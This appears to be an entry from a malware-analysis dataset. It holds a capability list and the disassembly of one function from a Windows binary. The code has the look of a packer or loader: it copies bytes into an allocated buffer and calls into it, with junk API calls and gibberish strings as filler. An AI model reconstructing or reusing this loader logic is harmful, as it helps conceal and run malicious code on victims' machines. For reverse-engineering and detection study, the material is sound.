Function at 0x40160c
Capabilities:
Copy file
Delete directory
Get common file path
Get disk information
Get geographical location
Get hostname
Read file on windows
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1438
call fcn.0040e870
mov ecx, dword [0x19f9888]
push esi
push edi
cmp ecx, 0x93
je 0x4017bb
mov eax, dword [0x41cf48]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x19f988c], eax
push esi
mov dword [0x19f9888], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x19f9278], eax
call fcn.00401590
mov edi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x40165c
mov edx, dword [0x19f9888]
mov edi, esi
test edx, edx
je 0x4016c8
mov eax, dword [0x19f988c]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x19f9278]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x4016c3
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [ebp - 0xc38]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [0x19f9888]
inc edi
cmp edi, edx
jb 0x401671
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x401711
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
push str.xodivi_vitodivomivazapamepapahexecex_bafame_cevosetijoloboyofub_nohixiyiheziyocaw
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push esi
lea eax, [ebp - 0x1038]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov edx, dword [0x19f9888]
inc edi
cmp edi, 0x38681
jl 0x4016ca
push ecx
call fcn.0040154d
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x401732
call fcn.00401574
inc edi
cmp edi, 0x674db
jl 0x401722
push 0x7b
pop edi
cmp dword [0x19f9888], 0x86
jne 0x40179b
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1438]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
push esi
push str.kusemi_jedegerutekogiwubufusoceyedizuwa_zawoterabaxisezobod
push str.yopuketuwa_vayezakopavasifepuvowuw_hoyofofelubeziyanama_fivasa
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
dec edi
jne 0x40173e
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x19f9278]
mov dword [0x19f987c], eax
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.dewuhavejoyeranafukobalaxejehi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
xor eax, eax
xor esi, esi
push esi
btr dword [eax], 0
lea eax, [ebp - 0xc38]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x38]
push eax
push esi
push esi
push str.ximikovudunebico
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push esi
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.0040383c
push esi
call fcn.00402a1b
push esi
push esi
push esi
push esi
call fcn.0040355d
call fcn.004021e4
push esi
push esi
call fcn.004029ee
add esp, 0x20
push esi
call fcn.00403bad
int3